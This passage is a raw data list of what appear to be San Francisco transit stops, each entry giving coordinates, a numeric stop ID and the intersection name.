['37.787328,-122.446908', '13892', 'California St and Presidio Ave'], ['37.787185,-122.447', '13893', 'California St and Presidio Ave'], ['37.792068,-122.40942', '13890', 'California St and Powell St'], ['37.791952,-122.40934', '13891', 'California St and Powell St'], ['37.786503,-122.453281', '13896', 'California St and Spruce St'], ['37.786334,-122.453517', '13897', 'California St and Spruce St'], ['37.76092,-122.447631', '14204', 'Carmel St and Belvedere St'], ['37.792975,-122.401269', '13895', 'California St and SANSOME ST'], ['37.765143,-122.4196', '13291', '16th St and Mission St'], ['37.795902,-122.445314', '16745', 'Union St and Baker St'], ['37.803956,-122.475882', '15411', 'Merchant St and Lincoln Blvd'], ['37.778097,-122.391811', '17379', '3rd Street and King St'], ['37.752934,-122.507854', '15763', 'Noriega St and 48th Ave'], ['37.7162,-122.47167', '13376', '19th Ave and Randolph St'], ['37.78763,-122.42154', '16613', 'Sutter St and Van Ness Ave'], ['37.788857,-122.411956', '16612', 'Sutter St and Taylor St'], ['37.78948,-122.407026', '16611', 'Sutter St and Stockton St'], ['37.785794,-122.435028', '16610', 'Sutter St and Steiner St'], ['37.742971,-122.475821', '16617', 'Taraval St and 19th Ave'], ['37.74311,-122.475444', '16616', 'Taraval St and 19th Ave'], ['37.743068,-122.473705', '16615', 'Taraval St and 17th Ave'], ['37.743204,-122.473429', '16614', 'Taraval St and 17th Ave'], ['37.74289,-122.478426', '16619', 'Taraval St and 22nd Ave'], ['37.742967,-122.478791', '16618', 'Taraval St and 22nd Ave'], ['37.760935,-122.446634', '14205', 'Carmel St and Twin Peaks Blvd'], ['37.77327,-122.47191', '15951', 'Park Presidio Blvd and Fulton St'], ['37.773219,-122.471653', '15950', 'Park Presidio Blvd and Fulton St'], ['37.780776,-122.472217', '15953', 'Park Presidio Blvd and Geary Blvd'], ['37.780571,-122.472412', '15952', 'Park Presidio Blvd and Geary Blvd'], ['37.717502,-122.38699', '15955', 'Gilman Ave and Bill Walsh Way'], ['37.793651,-122.395628', '1841', 'MARKET ST and SPEAR ST'], ['37.71397,-122.45605', '15957', 'Plymouth Ave and Farallones St'], ['37.71416,-122.45612', '15956', 'Plymouth Ave and Farallones St'], ['37.758793,-122.445935', '14075', 'Clayton St and Corbett Ave'], ['37.719881,-122.456015', '15958', 'Plymouth Ave and Grafton Ave'], ['37.760944,-122.446336', '14077', 'Clayton St and Carmel St'], ['37.775029,-122.419252', '1840', 'MARKET ST and VAN NESS AVE'], ['37.74689,-122.44396', '14071', 'Clipper St and Diamond Heights Blvd'], ['37.760863,-122.446485', '14070', 'Clayton St and Twin Peaks Blvd'], ['37.766288,-122.447779', '14073', 'Clayton St and Carl St'], ['37.7467,-122.445', '14072', 'Clipper St and Portola Dr'], ['37.74191,-122.42582', '13966', 'Chenery St and 30th St'], ['37.7346,-122.43233', '13967', 'Chenery St and Castro St'], ['37.710565,-122.431381', '13964', 'Chicago Way and South Hill Blvd'], ['37.723459,-122.453999', '15794', 'Ocean Ave and Lee St'], ['37.724955,-122.46139', '15793', 'Ocean Ave and Jules Ave'], ['37.730952,-122.471686', '15792', 'Ocean Ave and Junipero Serra Blvd'], ['37.72286,-122.44929', '15791', 'Ocean Ave and Howth St'], ['37.723022,-122.449784', '15790', 'Ocean Ave and Howth St'], ['37.76107,-122.48949', '17092', 'Judah St and 31st Ave'], ['37.785868,-122.485241', '13502', '25th Ave and Lake St'], ['37.72336,-122.44132', '15799', 'Ocean Ave and Otsego Ave'], ['37.73646,-122.42894', '13969', 'Chenery St and Mateo St'], ['37.785689,-122.485034', '13503', '25th Ave and Lake St'], ['37.716334,-122.483351', '13638', 'Arballo Dr and Garces Dr'], ['37.71861,-122.483215', '13639', 'Arballo Dr and Higuera Ave'], ['37.719886,-122.483135', '13636', 'Arballo Dr and Acevedo Ave .'], ['37.717343,-122.483306', '13637', 'Arballo Dr and Gonzalez Dr'], ['37.80161,-122.45673', '13634', 'Anza Blvd and Lincoln Blvd'], ['37.77785,-122.49303', '13635', 'Anza St and 33rd Ave'], ['37.72974,-122.50232', '13632', 'Armory Rd and Herbst Rd'], ['37.80163,-122.45678', '13633', 'Anza Blvd and Lincoln Blvd'], ['37.71183,-122.46507', '13630', 'Alemany Blvd and Victoria St'], ['37.71164,-122.46492', '13631', 'Alemany Blvd and Victoria St'], ['37.731699,-122.390174', '17375', 'Lane St and Revere Ave'], ['37.724262,-122.458306', '15798', 'Ocean Ave and Miramar Ave'], ['37.757561,-122.437845', '13415', '20th St and Eureka St'], ['37.751102,-122.438361', '13468', '24th St and Douglass St'], ['37.79575,-122.445509', '16746', 'Union St and Baker St'], ['37.74855,-122.47917', '16142', 'Quintara St and 22nd Ave'], ['37.75812,-122.39612', '15523', 'Missouri St and Sierra St'], ['37.779651,-122.502855', '16109', 'Point Lobos Ave and 42nd Ave'], ['37.779102,-122.512976', '16108', '902 Point Lobos Ave'], ['37.796705,-122.4517', '16107', 'Presidio Blvd and Sumner Ave'], ['37.796482,-122.451517', '16106', 'Presidio Blvd and Simonds Loop'], ['37.799105,-122.452904', '16105', 'Presidio Blvd and Letterman Dr'], ['37.799043,-122.452537', '16104', 'Presidio Blvd and Letterman Dr'], ['37.79907,-122.452652', '16103', 'Presidio Blvd and Lincoln Blvd'], ['37.7984,-122.456298', '16102', 'Presidio Blvd and Funston Ave'], ['37.798249,-122.455094', '16101', 'Presidio Blvd and Barnard Rd'], ['37.79817,-122.45499', '16100', 'Presidio Blvd and Barnard Rd'], ['37.7356,-122.503407', '16450', 'Sloat Blvd and 45th Ave'], ['37.775211,-122.436458', '15005', 'Hayes St and Scott St'], ['37.734858,-122.415041', '17679', 'Crescent Ave and Ellsworth St'], ['37.75622,-122.47669', '13372', '19th Ave and Moraga St'], ['37.749097,-122.387571', '17378', 'Third St and Marin St'], ['37.74201,-122.4094', '13708', 'Bradford St and Bernal Heights Blvd'], ['37.74286,-122.4094', '13709', 'Bradford St and Bernal Heights Blvd'], ['37.78396,-122.45475', '14468', 'Euclid Ave and Parker Ave'], ['37.76502,-122.41928', '13292', '16th St and Mission St'], ['37.733318,-122.42952', '13702', 'Bosworth St and Milton St'], ['37.733719,-122.426702', '13703', 'Bosworth St and Mission St'], ['37.733469,-122.42794', '13700', 'Bosworth St and Marsily St'], ['37.733487,-122.429326', '13701', 'Bosworth St and Milton St'], ['37.792222,-122.481186', '13706', 'Bowley St and Lincoln Blvd'], ['37.77998,-122.39458', '13707', 'Brannan St and 3rd St'], ['37.78421,-122.45174', '14460', 'Euclid Ave and Iris Ave'], ['37.78402,-122.45195', '14461', 'Euclid Ave and Iris Ave'], ['37.75343,-122.496717', '15753', 'Noriega St and 38th Ave'], ['37.76557,-122.415245', '14668', 'Folsom St and 16th St'], ['37.765231,-122.415417', '14669', 'Folsom St and 16th St'], ['37.715006,-122.480098', '14918', 'Garces Dr and Grijalva Dr'], ['37.753458,-122.49265', '15752', 'Noriega St and 34th Ave'], ['37.771994,-122.413729', '14664', 'Folsom St and 11th St'], ['37.771735,-122.414302', '14665', 'Folsom St and 11th St'], ['37.768461,-122.415667', '14666', 'Folsom St and 14th St'], ['37.768461,-122.41553', '14667', 'Folsom St and 14th St'], ['37.778629,-122.405324', '14660', 'Folsom St and 6th St'], ['37.71999,-122.45421', '14913', 'Grafton Ave and Lee St'], ['37.775115,-122.409773', '14662', 'Folsom St and 8th St'], ['37.773894,-122.411321', '14663', 'Folsom St and 9th St'], ['37.75268,-122.40644', '16039', 'Potrero Ave and 24th St'], ['37.75348,-122.49161', '15750', 'Noriega St and 33rd Ave'], ['37.786158,-122.433151', '16591', 'Sutter St and Fillmore St'], ['37.75908,-122.40705', '16033', 'Potrero Ave and 20th St'], ['37.753241,-122.501002', '15757', 'Noriega St and 42nd Ave'], ['37.76164,-122.40729', '16031', 'Potrero Ave and 18th St'], ['37.76185,-122.40705', '16030', 'Potrero Ave and 18th St'], ['37.75399,-122.40657', '16037', 'Potrero Ave and 23rd St'], ['37.75588,-122.40675', '16036', 'Potrero Ave and 22nd St'], ['37.75719,-122.4066', '16035', 'Potrero Ave and 22nd St'], ['37.75376,-122.459971', '16911', 'Warren Dr and Christopher Dr'], ['37.804557,-122.443892', '15173', 'Jefferson St and Divisadero St'], ['37.728296,-122.451228', '15172', 'Judson Ave and Gennessee St'], ['37.728421,-122.451285', '15171', 'Judson Ave and Gennessee St'], ['37.718691,-122.478427', '15170', 'Juan Bautista Cir and Font Blvd'], ['37.7409,-122.392973', '15177', 'Jerrold Ave and Quint St'], ['37.78166,-122.41509', '14239', 'Golden Gate Ave and Hyde St'], ['37.80832,-122.415514', '15175', 'Jefferson St and Taylor St'], ['37.808594,-122.413357', '15174', 'Jefferson St and Powell St'], ['37.742087,-122.394931', '15179', 'Jerrold Ave and Rankin St'], ['37.744356,-122.453233', '14238', 'Fowler Ave and Portola Dr'], ['37.78229,-122.42054', '16831', 'Van Ness Ave and Turk St'], ['37.75968,-122.40291', '13416', '20th St and Kansas St'], ['37.75956,-122.40314', '13417', '20th St and Kansas St'], ['37.73424,-122.489259', '16455', 'Sloat Blvd and Constanso Way'], ['37.800756,-122.454097', '17389', 'Lincoln Blvd and Girard Rd'], ['37.75996,-122.39808', '13412', '20th St and Arkansas St'], ['37.75987,-122.39836', '13413', '20th St and Arkansas St'], ['37.760545,-122.388753', '13410', '20th St and 3rd St'], ['37.7748,-122.45484', '14236', 'Fulton St and Stanyan StW'], ['37.764177,-122.388945', '17382', 'Third St and Mariposa St.'], ['37.802299,-122.455759', '17383', 'Presidio Transit Center'], ['37.78957,-122.388489', '17380', 'The Embarcadero and Harrison St'], ['37.764427,-122.388761', '17381', 'Third St and Mariposa St'], ['37.797954,-122.458774', '17386', 'Graham St and Moraga Ave'], ['37.753124,-122.503569', '15759', 'Noriega St and 44th Ave'], ['37.775778,-122.39336', '17384', '4th St and Berry St'], ['37.801434,-122.456126', '17385', 'Graham St and Lincoln Blvd'], ['37.753026,-122.502309', '15758', 'Noriega St and 43rd Ave'], ['37.792545,-122.42625', '16918', 'Washington St and Gough St'], ['37.79363,-122.41804', '16919', 'Washington St and Hyde St'], ['37.733847,-122.491595', '16454', 'Sloat Blvd and Clearfield Dr'], ['37.793305,-122.401085', '16326', 'Sansome St and California St'], ['37.71155,-122.45608', '16325', 'Sagamore St and Plymouth Ave'], ['37.78736,-122.41488', '14869', 'Leavenworth St and Post St'], ['37.71129,-122.45913', '16323', 'Sagamore St and Capitol Ave'], ['37.71149,-122.45888', '16322', 'Sagamore St and Capitol Ave'], ['37.71144,-122.46156', '16321', '274 Sagamore St'], ['37.789987,-122.4325', '16320', 'Sacramento St and Webster St'], ['37.78922,-122.41529', '14862', 'Leavenworth St and Bush St'], ['37.79109,-122.41567', '14863', 'Leavenworth St and California St'], ['37.75913,-122.47227', '14860', 'Lawton St and Lomita Ave'], ['37.775675,-122.446828', '14230', 'Fulton St and Masonic Ave'], ['37.79465,-122.41638', '14866', 'Leavenworth St and Jackson St'], ['37.7855,-122.41453', '14867', "Leavenworth St and O'Farrell St"], ['37.79295,-122.41604', '14864', 'Leavenworth St and Clay St'], ['37.78643,-122.4147', '14865', 'Leavenworth St and Geary Blvd'], ['37.791932,-122.43924', '15160', 'Jackson St and Scott St'], ['37.752808,-122.386823', '17440', 'Muni Metro East/Not a public stop'], ['37.803381,-122.408039', '15277', 'Lombard St and Grant Ave'], ['37.793127,-122.400099', '17444', 'California St and Battery St'], ['37.76436,-122.496621', '13562', '37th Ave and Lincoln Way'], ['37.813143,-122.370856', '17255', 'Macalla Rd and Treasure Island Rd'], ['37.779566,-122.493376', '13560', '33rd Ave and Geary Blvd'], ['37.764557,-122.495372', '13561', '36th Ave and Lincoln Way'], ['37.781087,-122.502994', '13566', '42nd Ave and Clement St'], ['37.781007,-122.504232', '13567', '43rd Ave and Clement St'], ['37.769392,-122.433694', '17252', 'Duboce St/Noe St/Duboce Park'], ['37.762674,-122.435197', '17253', 'Market St and Castro St'], ['37.779784,-122.504139', '13568', '43rd Ave and Point Lobos Ave'], ['37.811336,-122.364299', '17258', 'North Gate Rd and Macalla Rd'], ['37.782133,-122.427296', '14484', 'Eddy St and Laguna St'], ['37.727195,-122.474846', '17449', '19th Ave and Winston Dr'], ['37.78427,-122.409402', '14486', 'Eddy St and Mason St'], ['37.781081,-122.435515', '14487', 'Eddy St and Pierce St'], ['37.783887,-122.412428', '14480', 'Eddy St and Jones St'], ['37.783353,-122.41769', '14481', 'Eddy St and Larkin St'], ['37.783273,-122.417357', '14482', 'Eddy St and Larkin St'], ['37.734783,-122.494059', '16564', 'Sunset Blvd and Yorba St'], ['37.77573,-122.40646', '13193', '7th St and Harrison St'], ['37.780929,-122.435709', '14488', 'Eddy St and Pierce St'], ['37.72338,-122.43568', '15610', 'Mission St and Persia Ave'], ['37.790844,-122.393577', '15334', 'Main St and Howard St'], ['37.71219,-122.41078', '16855', 'Visitacion Ave and Schwerin St'], ['37.712247,-122.410504', '16854', 'Visitacion Ave and Schwerin St'], ['37.76786,-122.42227', '16857', 'Valencia St and 14th St'], ['37.76839,-122.42212', '16856', 'Valencia St and 14th St'], ['37.71144,-122.40807', '16851', 'Visitacion Ave and Rutland St'], ['37.711488,-122.407791', '16850', 'Visitacion Ave and Rutland St'], ['37.71324,-122.41453', '16853', 'Visitacion Ave and Sawyer St'], ['37.713283,-122.414237', '16852', 'Visitacion Ave and Sawyer St'], ['37.736764,-122.494152', '16561', 'Sunset Blvd and Wawona St'], ['37.734215,-122.483944', '16459', 'Sloat Blvd and Forest View Dr'], ['37.76626,-122.42212', '16859', 'Valencia St and 15th St'], ['37.76678,-122.42197', '16858', 'Valencia St and 15th St'], ['37.751253,-122.434179', '14327', 'Castro St and 24th St'], ['37.706113,-122.461166', '15617', 'Mission St and San Jose Ave'], ['37.734854,-122.493784', '16563', 'Sunset Blvd and Yorba St'], ['37.736541,-122.493911', '16562', 'Sunset Blvd and Wawona St'], ['37.764881,-122.488714', '15319', 'Lincoln Way and 30th Ave'], ['37.765032,-122.488267', '15318', 'Lincoln Way and 29th Ave'], ['37.793411,-122.406306', '16299', 'Sacramento St and Grant Ave'], ['37.733955,-122.489683', '16458', 'Sloat Blvd and Everglade Dr'], ['37.765329,-122.481839', '15312', 'Lincoln Way and 23rd Ave'], ['37.765285,-122.479489', '15311', 'Lincoln Way and 21st Ave'], ['37.765428,-122.479696', '15310', 'Lincoln Way and 21st Ave'], ['37.765016,-122.485506', '15317', 'Lincoln Way and 27th Ave'], ['37.765131,-122.486136', '15316', 'Lincoln Way and 27th Ave'], ['37.765105,-122.483363', '15315', 'Lincoln Way and 25th Ave'], ['37.765221,-122.483993', '15314', 'Lincoln Way and 25th Ave'], ['37.771322,-122.405237', '17684', 'Brannan St and 8th ST'], ['37.70935,-122.40669', '16583', 'Sunnydale Ave and Talbert St'], ['37.71059,-122.4115', '16582', 'Sunnydale Ave and Schwerin St'], ['37.71074,-122.41162', '16581', 'Sunnydale Ave and Schwerin St'], ['37.71163,-122.41521', '16580', 'Sunnydale Ave and Sawyer St'], ['37.786577,-122.429863', '16587', 'Sutter St and Buchanan St'], ['37.784766,-122.443306', '16586', 'Sutter St and Baker St'], ['37.784889,-122.443067', '16585', 'Sutter St and Baker St'], ['37.70935,-122.407', '16584', 'Sunnydale Ave and Talbert St'], ['37.78531,-122.439732', '16589', 'Sutter St and Divisadero St'], ['37.786502,-122.429608', '16588', 'Sutter St and Buchanan St'], ['37.772966,-122.389694', '13153', '4th St and 3rd St'], ['37.730666,-122.501697', '17624', 'Herbst Rd and Amory Rd'], ['37.72791,-122.39302', '13151', '3rd St and Yosemite Ave'], ['37.73327,-122.413919', '17626', 'Alemany Blvd and Flosom St'], ['37.803647,-122.443422', '17621', 'Beach St and Divisadero St'], ['37.790545,-122.393303', '17620', 'Main St. and Howard St.'], ['37.790608,-122.393326', '17623', 'Main St and Howard St'], ['37.77645,-122.398723', '17622', '5th St and Brannan St'], ['37.783036,-122.402548', '13159', '4th St and Howard St'], ['37.781804,-122.401012', '13158', '4th St and Folsom St'], ['37.761752,-122.47707', '17629', '19 Ave and Juda St'], ['37.77886,-122.4296', '15407', 'Mcallister St and Webster St'], ['37.77885,-122.4305', '15406', 'Mcallister St and Webster St'], ['37.77999,-122.420144', '15405', 'Mcallister St and Van Ness Ave'], ['37.78009,-122.42071', '15404', 'Mcallister St and Van Ness Ave'], ['37.780168,-122.4187', '15403', 'Mcallister St and Polk St'], ['37.78031,-122.41901', '15402', 'Mcallister St and Polk St'], ['37.77815,-122.43519', '15401', 'Mcallister St and Pierce St'], ['37.77827,-122.43493', '15400', 'Mcallister St and Pierce St'], ['37.73901,-122.47553', '13399', '19th Ave and Vicente St'], ['37.7392,-122.47528', '13398', '19th Ave and Vicente St'], ['37.787958,-122.393603', '17829', 'FREMONT and FOLSOM'], ['37.801602,-122.466927', '15409', 'Mcdowell Ave and Cowles St'], ['37.80179,-122.467076', '15408', 'Mcdowell Ave and Cowles St'], ['37.788671,-122.392811', '17828', 'FOLSOM and BEALE'], ['37.76279,-122.459961', '17688', '513 Parnassus Ave'], ['37.789839,-122.433669', '16296', 'Sacramento St and Fillmore St'], ['37.780777,-122.467323', '14260', 'Geary Blvd and 9th Ave'], ['37.780839,-122.470601', '14261', 'Geary Blvd and 12th Ave'], ['37.780607,-122.470819', '14262', 'Geary Blvd and 12th Ave'], ['37.780597,-122.476045', '14263', 'Geary Blvd and 17th Ave'], ['37.780365,-122.476263', '14264', 'Geary Blvd and 17th Ave'], ['37.780453,-122.479266', '14265', 'Geary Blvd and 20th Ave'], ['37.780221,-122.479484', '14266', 'Geary Blvd and 20th Ave'], ['37.780346,-122.481398', '14267', 'Geary Blvd and 22nd Ave'], ['37.780078,-122.482693', '14268', 'Geary Blvd and 23rd Ave'], ['37.78022,-122.48461', '14269', 'Geary Blvd and 25th Ave'], ['37.78411,-122.45351', '14469', 'Euclid Ave and Spruce St'], ['37.789596,-122.406923', '16523', 'Stockton St and Sutter St'], ['37.740947,-122.4658', '16739', 'West Portal Station'], ['37.776864,-122.407904', '13192', '7th St and Folsom St'], ['37.78524,-122.44664', '14466', 'Euclid Ave and Presidio Ave'], ['37.794255,-122.413008', '16929', 'Washington St and Taylor St'], ['37.795733,-122.402064', '16928', 'Washington St and Sansome St'], ['37.78412,-122.45449', '14467', 'Euclid Ave and Parker Ave'], ['37.71322,-122.42115', '16568', '1901 Sunnydale Ave'], ['37.79453,-122.41136', '16924', 'Washington St and Mason St'], ['37.794629,-122.410038', '16927', 'Washington St and Powell St'], ['37.793187,-122.421274', '16926', 'Washington St and Polk St'], ['37.79341,-122.4198', '16921', 'Washington St and Larkin St'], ['37.794042,-122.414693', '16920', 'Washington St and Jones St'], ['37.79218,-122.429116', '16923', 'Washington St and Laguna St'], ['37.793828,-122.416287', '16922', 'Washington St and Leavenworth St'], ['37.7678,-122.42002', '15548', 'Mission St and 14th St'], ['37.76714,-122.41979', '15549', 'Mission St and 15th St'], ['37.802628,-122.436693', '17715', 'BATTERY St and GREENWICH St'], ['37.75786,-122.47654', '13368', '19th Ave and Lawton St'], ['37.737074,-122.379516', '17719', 'Middle Point and Acacia'], ['37.77594,-122.41518', '15543', 'Mission St and 9th St'], ['37.77723,-122.41355', '15540', 'Mission St and 8th St'], ['37.7777,-122.41273', '15541', 'Mission St and 8th St'], ['37.77047,-122.41978', '15546', 'Mission St and 13th St'], ['37.76862,-122.41993', '15547', 'Mission St and 14th St'], ['37.774216,-122.41712', '15544', 'Mission St and 11th St'], ['37.774306,-122.417292', '15545', 'Mission St and 11th St'], ['37.79175,-122.3967', '13089', 'Beale St and Mission St'], ['37.733211,-122.431296', '13704', 'Bosworth St and Rotteck St'], ['37.707136,-122.415706', '17127', 'Geneva Ave and Rio Verde St'], ['37.70813,-122.41254', '16389', 'Schwerin St and Velasco Ave'], ['37.794131,-122.436442', '13085', 'Broadway and Steiner St'], ['37.798134,-122.40396', '13084', 'Broadway and Montgomery St'], ['37.797591,-122.408294', '13087', 'Broadway and Stockton St'], ['37.788465,-122.482617', '13705', 'Lincoln Blvd and Bowley Ave'], ['37.799086,-122.397791', '13080', 'BROADWAY and THE EMBARCADERO'], ['37.797831,-122.406345', '13082', 'Broadway and Grant Ave'], ['37.757889,-122.476782', '13369', '19th Ave and Lawton St'], ['37.73163,-122.37896', '15768', 'Northridge Rd and Ingalls St'], ['37.764789,-122.449854', '15890', 'Parnassus Ave and Cole St'], ['37.763807,-122.45697', '15891', 'Parnassus Ave and Hillway Ave'], ['37.763718,-122.456741', '15892', 'Parnassus Ave and Hillway Ave'], ['37.764771,-122.451103', '15893', 'Parnassus Ave and Shrader St'], ['37.764602,-122.451298', '15894', 'Parnassus Ave and Shrader St'], ['37.764548,-122.452879', '15895', 'Parnassus Ave and Stanyan St'], ['37.764432,-122.45265', '15896', 'Parnassus Ave and Stanyan St'], ['37.764352,-122.454529', '15897', 'Parnassus Ave and Willard St'], ['37.764236,-122.4543', '15898', 'Parnassus Ave and Willard St'], ['37.786908,-122.45656', '16293', 'Sacramento St and Cherry St'], ['37.788455,-122.436808', '13885', 'California St and Pierce St'], ['37.788518,-122.437484', '13884', 'California St and Pierce St'], ['37.784365,-122.472764', '13887', 'California St and Park Presidio Blvd'], ['37.784515,-122.47325', '13886', 'California St and Park Presidio Blvd'], ['37.791747,-122.410957', '13881', 'California St and Mason St'], ['37.74231,-122.42217', '13541', '30th St and Mission St'], ['37.792931,-122.402622', '13883', 'California St and Montgomery St'], ['37.792762,-122.402908', '13882', 'California St and Montgomery St'], ['37.79599,-122.4368', '14919', 'Green St and Steiner St'], ['37.790492,-122.420828', '13889', 'California St and Polk St'], ['37.790661,-122.420541', '13888', 'California St and Polk St'], ['37.715978,-122.481473', '14916', 'Garces Dr and Bucareli Dr'], ['37.738064,-122.468984', '17125', 'West Portal Ave and 14th Ave'], ['37.775118,-122.418255', '17408', '11th St/btw Market and Mission'], ['37.715845,-122.478323', '14917', 'Garces Dr and Gonzalez Dr'], ['37.776323,-122.393898', '17405', '4th St and King St'], ['37.739916,-122.388884', '17404', 'Third Street/Hudson/Innes'], ['37.732262,-122.391502', '17401', 'Third Street/Revere/Shafter'], ['37.718809,-122.397468', '17400', 'Third Street and Le Conte Ave'], ['37.781599,-122.453258', '14763', 'Geary Blvd and Spruce St'], ['37.734358,-122.390836', '17402', 'Third Street/Oakdale/Palou'], ['37.719962,-122.456232', '14915', 'Grafton Ave and Plymouth Ave'], ['37.762621,-122.495784', '16527', 'Sunset Blvd and Irving St'], ['37.719952,-122.461329', '14912', 'Grafton Ave and Jules Ave'], ['37.793188,-122.396385', '1943', 'MARKET ST and DRUMM ST'], ['37.76149,-122.47983', '17122', 'Judah St and 22nd Ave'], ['37.794605,-122.418293', '15151', 'Jackson St and Hyde St'], ['37.719962,-122.457251', '14910', 'Grafton Ave and Granada Ave'], ['37.74249,-122.489489', '16628', 'Taraval St and 32nd Ave'], ['37.742355,-122.489749', '16629', 'Taraval St and 32nd Ave'], ['37.74259,-122.487338', '16626', 'Taraval St and 30th Ave'], ['37.742461,-122.487615', '16627', 'Taraval St and 30th Ave'], ['37.742684,-122.485212', '16624', 'Taraval St and 28th Ave'], ['37.74254,-122.485467', '16625', 'Taraval St and 28th Ave'], ['37.74278,-122.483068', '16622', 'Taraval St and 26th Ave'], ['37.742653,-122.483324', '16623', 'Taraval St and 26th Ave'], ['37.789671,-122.420622', '17810', 'Pine St and Polk St'], ['37.742735,-122.481199', '16621', 'Taraval St and 24th Ave'], ['37.767821,-122.429065', '14008', 'Church St and Market St'], ['37.767777,-122.428881', '14009', 'Church St and Market St'], ['37.795369,-122.408249', '16526', 'Stockton St and Washington St'], ['37.742222,-122.426459', '14000', 'Church St and 30th St'], ['37.742097,-122.426528', '14001', 'Church St and 30th St'], ['37.749388,-122.427289', '14002', 'Church St and Clipper St'], ['37.749182,-122.427122', '14003', 'Church St and Clipper St'], ['37.742811,-122.426654', '14004', 'Church St and Day St'], ['37.769499,-122.429167', '14005', 'Church St and Duboce Ave'], ['37.769302,-122.429087', '14006', 'Church St and Duboce Ave'], ['37.790316,-122.430617', '16291', 'Sacramento St and Buchanan St'], ['37.73714,-122.42775', '13971', 'Chenery St and Miguel St'], ['37.73633,-122.429', '13970', 'Chenery St and Mateo St'], ['37.73458,-122.43191', '13973', 'Chenery St and Natick St'], ['37.753254,-122.406267', '16038', 'Potrero Ave and 24th St'], ['37.739625,-122.425498', '13975', 'Chenery St and Randall St'], ['37.739929,-122.425692', '13974', 'Chenery St and Randall St'], ['37.73548,-122.43028', '13977', 'Chenery St and Roanoke St'], ['37.73563,-122.4302', '13976', 'Chenery St and Roanoke St'], ['37.7131,-122.47278', '13979', 'Chumasero Dr and Brotherhood Way'], ['37.71331,-122.47292', '13978', 'Chumasero Dr and Brotherhood Way'], ['37.758869,-122.416783', '17665', 'South Van Ness and 20th St'], ['37.73229,-122.42059', '13629', "Alemany Blvd/St Mary's Park bridge"], ['37.710359,-122.469458', '13628', 'Alemany Blvd and St Charles Ave'], ['37.71163,-122.4669', '13621', 'Alemany Blvd and Arch St'], ['37.7393,-122.41846', '14145', 'Cortland Ave and Bocana St'], ['37.71013,-122.46027', '13623', 'Alemany Blvd and Crystal St'], ['37.711418,-122.46717', '13622', 'Alemany Blvd and Arch St'], ['37.71766,-122.44237', '13625', 'Alemany Blvd and Geneva Ave'], ['37.73253,-122.41576', '13624', 'Alemany Blvd and Gates St'], ['37.71091,-122.46226', '13627', 'Alemany Blvd and Orizaba Ave'], ['37.71766,-122.44237', '13626', 'Alemany Blvd and Geneva Ave'], ['37.780255,-122.484837', '13500', '25th Ave and Geary Blvd'], ['37.777286,-122.42019', '15013', 'Hayes St and Van Ness Ave'], ['37.75962,-122.40684', '16032', 'Potrero Ave and 20th St'], ['37.762496,-122.495955', '16528', 'Sunset Blvd and Irving St'], ['37.731481,-122.448536', '15433', 'Monterey Blvd and Foerster St'], ['37.766047,-122.457635', '14714', 'Frederick St and Arguello Blvd'], ['37.776895,-122.472227', '13070', 'Balboa St and Park Presidio Blvd'], ['37.748806,-122.474086', '16138', 'Quintara St and 17th Ave'], ['37.74867,-122.47408', '16139', 'Quintara St and 17th Ave'], ['37.719601,-122.479607', '14710', 'Font Blvd and Serrano Dr'], ['37.71963,-122.47998', '14711', 'Font Blvd and Serrano Dr'], ['37.72068,-122.480902', '14712', 'Font Blvd and Tapia Dr'], ['37.776788,-122.472411', '13071', 'Balboa St and Park Presidio Blvd'], ['37.779773,-122.509595', '16132', 'Point Lobos Ave and 48th Ave'], ['37.770169,-122.445155', '14958', 'Haight St and Masonic Ave'], ['37.779916,-122.507394', '16130', 'Point Lobos Ave and 46th Ave'], ['37.77999,-122.50847', '16131', 'Point Lobos Ave and 47th Ave'], ['37.74887,-122.468563', '16136', 'Quintara St and 12th Ave'], ['37.74872,-122.47298', '16137', 'Quintara St and 16th Ave'], ['37.779031,-122.512047', '16134', 'Point Lobos Ave and Merrie Way'], ['37.749039,-122.468369', '16135', 'Quintara St and 12th Ave'], ['37.797891,-122.459038', '17388', 'Graham St and Moraga Ave'], ['37.746655,-122.420076', '16885', 'Valencia St and Duncan St'], ['37.741617,-122.435533', '14396', 'Diamond St and Diamond Heights Blvd'], ['37.747994,-122.420351', '16882', 'Valencia St and Cesar Chavez St'], ['37.75749,-122.4069', '16034', 'Potrero Ave and 21st St'], ['37.748202,-122.458721', '1491', 'LAGUNA HONDA BLVD and 19TH AVE'], ['37.800622,-122.444603', '13075', 'Broderick St and Francisco St'], ['37.713191,-122.458921', '13715', 'Broad St and Capitol Ave'], ['37.71251,-122.46738', '13714', 'Broad St and Arch St'], ['37.752891,-122.505574', '15762', 'Noriega St and 46th Ave'], ['37.713152,-122.459159', '13716', 'Broad St and Capitol Ave'], ['37.71248,-122.46926', '13711', 'Brotherhood Way and St Charles Ave'], ['37.804343,-122.44536', '13076', 'Broderick St and Jefferson St'], ['37.748077,-122.445087', '13713', 'Burnett Ave and Dawnview Way'], ['37.772969,-122.424192', '14959', 'Haight St and Octavia St'], ['37.734567,-122.499294', '16446', 'Sloat Blvd and 41st Ave'], ['37.748217,-122.420213', '16881', 'Valencia St and Cesar Chavez St'], ['37.713161,-122.45618', '13719', 'Broad St and Plymouth Ave'], ['37.713222,-122.455927', '13718', 'Broad St and Plymouth Ave'], ['37.737163,-122.396367', '15881', 'Palou Ave and Quint St'], ['37.70887,-122.434222', '13960', 'Chicago Way and Cordova Ave'], ['37.7824,-122.424201', '14478', 'Eddy St and Gough St'], ['37.743491,-122.451388', '16669', 'Teresita Blvd and Fowler Ave'], ['37.76004,-122.39545', '13422', '20th St and Texas St'], ['37.787642,-122.406488', '14766', 'Geary Blvd and Stockton St'], ['37.78396,-122.45374', '14470', 'Euclid Ave and Spruce St'], ['37.781767,-122.429141', '14473', 'Eddy St and Buchanan St'], ['37.781919,-122.428946', '14472', 'Eddy St and Buchanan St'], ['37.7815,-122.432236', '14475', 'Eddy St and Fillmore St'], ['37.780546,-122.438759', '14474', 'Eddy St and Divisadero St'], ['37.782516,-122.42427', '14477', 'Eddy St and Gough St'], ['37.775637,-122.500399', '13063', 'Balboa St and 40th Ave'], ['37.793499,-122.421193', '16006', 'Polk St and Washington St'], ['37.793695,-122.421411', '16007', 'Polk St and Washington St'], ['37.798826,-122.422441', '16004', 'Polk St and Union St'], ['37.796961,-122.422075', '16005', 'Polk St and Vallejo St'], ['37.787824,-122.420221', '16002', 'Polk St and Sutter St'], ['37.799004,-122.422292', '16003', 'Polk St and Union St'], ['37.73413,-122.498961', '16447', 'Sloat Blvd and 41st Ave'], ['37.788002,-122.420072', '16001', 'Polk St and Sutter St'], ['37.708207,-122.420022', '14901', 'Geneva Ave and Santos St'], 